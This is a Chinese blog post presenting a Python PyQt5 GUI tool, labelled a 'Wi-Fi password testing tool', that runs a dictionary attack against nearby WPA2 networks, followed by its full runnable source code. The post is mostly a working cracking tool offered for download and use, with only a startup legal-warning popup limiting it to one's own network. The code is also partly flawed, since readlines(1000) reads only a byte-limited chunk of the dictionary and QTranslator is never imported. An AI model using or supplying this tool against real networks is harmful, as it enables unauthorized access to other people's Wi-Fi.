Python Wi-Fi密码测试工具
Python Wi-Fi测试工具
相关资源文件已经打包成EXE文件,可双击直接运行程序,且文章末尾已附上相关源码,以供大家学习交流,博主主页还有更多Python相关程序案例,秉着开源精神的想法,望大家喜欢,点个关注不迷路!!!
1. 简介:
这款工具的目的是通过字典攻击方式帮助用户测试 Wi-Fi 网络的安全性。通过选择合适的无线网卡接口、目标 Wi-Fi 网络和密码字典文件,用户可以在界面上实时看到测试进度、日志和最终结果。
以下是详细的功能介绍:
1. Wi-Fi 接口选择
功能:允许用户选择无线网卡接口。
实现:通过 pywifi.PyWiFi() 获取所有可用的无线网卡接口,并在界面中显示供用户选择。
2. Wi-Fi 网络扫描
功能:扫描可用的 Wi-Fi 网络并显示在下拉列表中。
实现:选择无线网卡接口后,点击“刷新列表”按钮,程序将扫描并列出所有可用的 Wi-Fi 网络(SSID)。
3. 字典文件选择
功能:用户选择一个密码字典文件,工具将用字典中的密码尝试连接到目标 Wi-Fi 网络。
实现:用户可以通过拖放或点击“选择字典文件”按钮,选择一个 .txt 格式的密码字典文件。每个字典文件中的密码将逐一尝试。
4. Wi-Fi 测试过程
功能:使用字典文件中的密码尝试连接到目标 Wi-Fi 网络,直到找到正确的密码或遍历完所有密码。
实现:
使用 pywifi 库来创建 Wi-Fi 配置文件并尝试连接。
每个密码尝试后,更新日志并显示尝试的密码。
如果连接成功,显示成功密码;如果失败,则继续尝试下一个密码。
支持设置最大等待时间(例如 5 秒)来检查连接是否成功。
5. 进度条
功能:实时显示破解进度。
实现:在破解过程中,每次尝试密码后更新进度条,显示当前已尝试密码的百分比。
6. 日志显示
功能:记录并实时显示破解过程中的日志信息。
实现:所有的日志信息(如密码尝试、连接成功、失败等)会在界面上以文本形式实时更新,供用户查看。
7. 开始/停止测试
功能:用户可以开始或停止测试过程。
实现:点击“开始测试”按钮时,程序会启动一个后台线程,执行 Wi-Fi 测试操作。点击“停止测试”按钮时,用户可以中止破解操作。
8. 合法性警告
功能:在应用启动时,给出使用工具的合法性警告,提醒用户本工具仅供测试自己的网络安全性,禁止用于非法用途。
实现:弹出一个消息框,显示合法性警告。如果用户选择取消,则关闭程序。
9. 密码破解成功提示
功能:在成功测试出 Wi-Fi 密码时,弹出提示框告知用户破解结果。
实现:当测试成功后,弹出一个信息框,显示测试的密码。
*10. 停止测试
功能:用户可以随时停止正在进行的破解过程。
实现:通过 CrackThread 中的 stop() 方法,停止当前的测试线程。
2. 运行效果:
3. 相关源码:
import sys
import os
import time
from PyQt5.QtWidgets import (
QApplication, QMainWindow, QPushButton, QVBoxLayout, QWidget,
QLabel, QTextBrowser, QFileDialog, QProgressBar,
QComboBox, QMessageBox, QLineEdit, QHBoxLayout
)
from PyQt5.QtCore import QThread, pyqtSignal, QTimer
from datetime import datetime
import pywifi
from pywifi import const
class DragDropLineEdit(QLineEdit):
def __init__(self, parent=None):
super().__init__(parent)
self.setAcceptDrops(True)
def dragEnterEvent(self, event):
if event.mimeData().hasUrls():
event.accept()
else:
event.ignore()
def dropEvent(self, event):
if event.mimeData().hasUrls():
file_path = event.mimeData().urls()[0].toLocalFile()
if os.path.isfile(file_path):
self.setText(file_path)
else:
event.ignore()
else:
event.ignore()
class CrackThread(QThread):
update_progress = pyqtSignal(int)
update_log = pyqtSignal(str)
success_signal = pyqtSignal(str)
def __init__(self, wifi_name, dictionary_path, iface):
super(CrackThread, self).__init__()
self.wifi_name = wifi_name
self.dictionary_path = dictionary_path
self.iface = iface
self.running = True
def emit_log_with_time(self, message):
timestamp = datetime.now().strftime("[%Y-%m-%d %H:%M:%S]")
self.update_log.emit(f"{timestamp} {message}")
def run(self):
if not os.path.exists(self.dictionary_path):
self.emit_log_with_time("[!] 密码字典文件不存在!")
return
self.emit_log_with_time("开始破解...")
with open(self.dictionary_path, "r", encoding="utf-8") as file:
passwords = file.readlines(1000) # 每次读取1000行
total_passwords = len(passwords)
for idx, password in enumerate(passwords):
if not self.running:
self.emit_log_with_time("[!] 破解已停止。")
break
password = password.strip() # 去除多余空格和换行符
self.emit_log_with_time(f"[-] 测试密码: {password}")
if self.wifi_connect(password):
self.emit_log_with_time(f"[+] 成功连接!密码:{password}")
self.success_signal.emit(password)
self.update_progress.emit(100)
return
self.update_progress.emit(int((idx + 1) / total_passwords * 100))
self.emit_log_with_time("[!] 破解失败,尝试其他字典文件。")
def wifi_connect(self, pwd):
try:
# 创建WiFi配置文件
profile = pywifi.Profile()
profile.ssid = self.wifi_name
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = pwd
# 清除所有配置文件
self.iface.remove_all_network_profiles()
tep_profile = self.iface.add_network_profile(profile)
# 连接WiFi
self.iface.connect(tep_profile)
start_time = time.time()
# 等待连接结果
while time.time() - start_time < 5: # 延长等待时间到5秒
status = self.iface.status()
if status == const.IFACE_CONNECTED:
self.iface.disconnect() # 连接成功后断开,避免干扰后续操作
return True
elif status == const.IFACE_DISCONNECTED:
time.sleep(1) # 给网卡足够时间反应
self.iface.disconnect() # 确保清理状态
return False
except Exception as e:
self.emit_log_with_time(f"[!] 连接时发生错误: {e}")
return False
def stop(self):
self.running = False
class WiFiCrackerUI(QMainWindow):
def __init__(self):
super().__init__()
self.initUI()
self.thread = None
def initUI(self):
self.setWindowTitle("WiFi破解工具")
self.setGeometry(100, 100, 378, 532)
self.set_ui_styles()
self.show_legal_warning()
layout = QVBoxLayout()
self.interface_label = QLabel("选择无线网卡接口:")
self.interface_list = QComboBox()
self.refresh_interface_list()
layout.addWidget(self.interface_label)
layout.addWidget(self.interface_list)
wifi_layout = QHBoxLayout()
self.wifi_label = QLabel("WiFi 名称:")
self.wifi_list = QComboBox()
self.refresh_wifi_button = QPushButton("刷新列表")
self.refresh_wifi_button.clicked.connect(self.refresh_wifi_list)
wifi_layout.addWidget(self.wifi_label)
wifi_layout.addWidget(self.wifi_list)
wifi_layout.addWidget(self.refresh_wifi_button)
layout.addLayout(wifi_layout)
self.path_label = QLabel("密码字典路径:")
self.path_input = DragDropLineEdit()
self.browse_button = QPushButton("选择字典文件(.txt)")
self.browse_button.clicked.connect(self.browse_file)
layout.addWidget(self.path_label)
layout.addWidget(self.path_input)
layout.addWidget(self.browse_button)
self.log_browser = QTextBrowser()
layout.addWidget(self.log_browser)
self.progress_bar = QProgressBar()
layout.addWidget(self.progress_bar)
self.start_button = QPushButton("开始破解")
self.start_button.clicked.connect(self.start_cracking)
self.stop_button = QPushButton("停止破解")
self.stop_button.clicked.connect(self.stop_cracking)
layout.addWidget(self.start_button)
layout.addWidget(self.stop_button)
container = QWidget()
container.setLayout(layout)
self.setCentralWidget(container)
self.refresh_wifi_list()
def set_ui_styles(self):
self.setStyleSheet("""
QPushButton {
background-color: #4CAF50;
color: white;
border-radius: 5px;
padding: 10px;
}
QPushButton:hover {
background-color: #45a049;
}
QProgressBar {
border: 2px solid #4CAF50;
border-radius: 5px;
text-align: center;
}
QTextBrowser {
background-color: #f5f5f5;
font-family: "Courier New";
border-radius: 5px;
}
""")
def show_legal_warning(self):
reply = QMessageBox.warning(
self,
"合法性警告",
"本工具仅供测试自己网络的安全性,禁止用于非法用途!\n"
"使用本工具即表示您同意对所有行为自行负责。",
QMessageBox.Ok | QMessageBox.Cancel,
)
if reply == QMessageBox.Cancel:
self.close() # 如果用户选择取消,退出程序
def load_translations(self, language_code="en"):
translator = QTranslator()
if language_code == "zh":
translator.load(":/translations/zh_CN.qm")
else:
translator.load(":/translations/en_US.qm")
app.installTranslator(translator)
def refresh_interface_list(self):
wifi = pywifi.PyWiFi()
self.interface_list.clear()
for iface in wifi.interfaces():
self.interface_list.addItem(iface.name())
def refresh_wifi_list(self):
self.wifi_list.clear()
iface_name = self.interface_list.currentText()
if not iface_name:
self.log_browser.append("[!] 请先选择 Wi-Fi 接口!")
return
try:
wifi = pywifi.PyWiFi()
iface = next(iface for iface in wifi.interfaces() if iface.name() == iface_name)
iface.scan()
self.log_browser.append("[+] 网络扫描开始...")
QTimer.singleShot(2000, self.on_scan_complete) # 2秒后回调扫描结果
except Exception as e:
self.log_browser.append(f"[!] 刷新 Wi-Fi 列表时出错: {e}")
def on_scan_complete(self):
iface_name = self.interface_list.currentText()
wifi = pywifi.PyWiFi()
iface = next(iface for iface in wifi.interfaces() if iface.name() == iface_name)
results = iface.scan_results()
seen_ssids = set()
for network in results:
ssid = network.ssid.encode('raw_unicode_escape').decode('utf-8', 'ignore')
if ssid and ssid not in seen_ssids:
self.wifi_list.addItem(ssid)
seen_ssids.add(ssid)
self.log_browser.append("[+] Wi-Fi 列表刷新完成。")
def browse_file(self):
file_path, _ = QFileDialog.getOpenFileName(self, "选择密码字典文件", "", "文本文件 (*.txt)")
if file_path:
if not file_path.endswith('.txt'):
self.log_browser.append("[!] 请选择一个有效的文本文件!")
return
self.path_input.setText(file_path)
def start_cracking(self):
if self.thread and self.thread.isRunning():
self.log_browser.append("[!] 破解已经在运行中,请等待完成。")
return
wifi_name = self.wifi_list.currentText().strip()
dictionary_path = self.path_input.text().strip()
if not wifi_name or not dictionary_path:
self.log_browser.append("[!] 请填写完整信息!")
return
try:
wifi = pywifi.PyWiFi()
iface = next(iface for iface in wifi.interfaces() if iface.name() == self.interface_list.currentText())
iface.disconnect()
time.sleep(1)
if iface.status() != const.IFACE_DISCONNECTED:
self.log_browser.append("[!] 无法断开当前连接。")
return
except Exception as e:
self.log_browser.append(f"[!] 无法初始化无线网卡: {e}")
return
self.thread = CrackThread(wifi_name, dictionary_path, iface)
self.thread.update_log.connect(self.log_browser.append)
self.thread.update_progress.connect(self.progress_bar.setValue)
self.thread.success_signal.connect(self.show_success_message)
self.thread.start()
def stop_cracking(self):
if self.thread and self.thread.isRunning():
self.thread.stop()
def show_success_message(self, password):
QMessageBox.information(self, "破解成功", f"Wi-Fi 密码是: {password}")
if __name__ == "__main__":
app = QApplication(sys.argv)
window = WiFiCrackerUI()
window.show()
sys.exit(app.exec_())